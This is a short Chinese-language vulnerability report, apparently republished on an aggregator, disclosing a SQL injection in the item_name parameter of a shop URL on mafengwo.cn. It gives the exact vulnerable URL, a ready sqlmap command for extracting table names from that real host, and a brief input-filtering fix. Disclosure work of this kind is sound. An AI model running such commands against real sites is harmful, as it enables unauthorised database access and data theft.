今天看啥
热点:

蚂蜂窝主站SQL注入漏洞可致数据库信息泄露 SQLMAP 验证(仅演示取得数据表名称,仅为证明危害,不再继续深入)
漏洞位置:

http://www.mafengwo.cn/shop/mgr_item.php?act=add&item_name=lgkcaleg&item_price=1&shop_id=100597

参数item_name没有过滤



SQLMAP 跑表演示

注意是用 level 5 测试的,复现漏洞时别忘了

 

C:\Users\Administrator>sqlmap.py -u "www.mafengwo.cn/shop/mgr_item.php?act=add&item_name=lgkcaleg&item_price=1&shop_id=100597" -p item_name --tables --dbms=mysql --technique T --level 5





 

修复方案:

过滤所示参数,严格控制用户输入

 

www.bkjia.comtruehttp://www.bkjia.com/wzaq/777013.htmlTechArticle蚂蜂窝主站SQL注入漏洞可致数据库信息泄露 SQLMAP 验证(仅演示取得数据表名称,仅为证明危害,不再继续深入) 漏洞位置: http://www.maf...

相关文章

相关搜索: 蚂蜂 窝主 漏洞

帮客评论

视觉看点